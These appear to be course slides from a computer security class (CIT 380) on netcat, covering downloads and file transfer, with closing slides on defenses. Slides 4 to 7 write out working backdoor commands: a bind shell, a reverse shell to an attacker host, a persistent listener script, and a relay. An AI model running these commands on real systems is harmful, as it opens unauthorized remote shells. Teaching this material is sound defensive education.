1. CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Netcat

2. Downloading Netcat Netcat for Linux –http://netcat.sourceforge.net/http://netcat.sourceforge.net/ Netcat for Windows –http://joncraton.org/files/nc111nt.ziphttp://joncraton.org/files/nc111nt.zip CIT 380: Securing Computer SystemsSlide #2

3. Netcat for File Transfer Copy files from machine foo to bar on port 3333 (-l, listen): Source Machine offering a file for transfer: user@bar$ nc -l -p 3333 > backup.iso Destination Machine, pulling the file: user@foo$ nc bar 3333 < backup.iso CIT 380: Securing Computer SystemsSlide #3

4. Backdoor Command Shell Victim –$nc –l –p 3333 –e /bin/sh Attacker –$nc victim 3333 –Type commands Port could be blocked by firewall CIT 380: Securing Computer SystemsSlide #4

5. Push Backdoor Command Shell Attacker Machine: $nc –l –p 3333 Victim’s Machine: $nc attacker-machine 3333 –e /bin/sh Attacker types command on shell running on victim CIT 380: Securing Computer SystemsSlide #5

6. Persistent Listener Victim’s machine listener.sh while [1]; do echo “Started”; nc –l –p 3333 –e /bin/sh; done chmod 555 listener.sh nohup./listener.sh & CIT 380: Securing Computer SystemsSlide #6

7. Relaying Traffic ncrelay.bat (Windows) C:\nc.exe [nexthop] 54321 C:\>nc –l –p 11111 –e ncrelay.bat CIT 380: Securing Computer SystemsSlide #7

8. Netcat Defenses Use firewall to prevent netcat transfers Minimum number of listening ports Know what process should be running on your system. CIT 380: Securing Computer SystemsSlide #8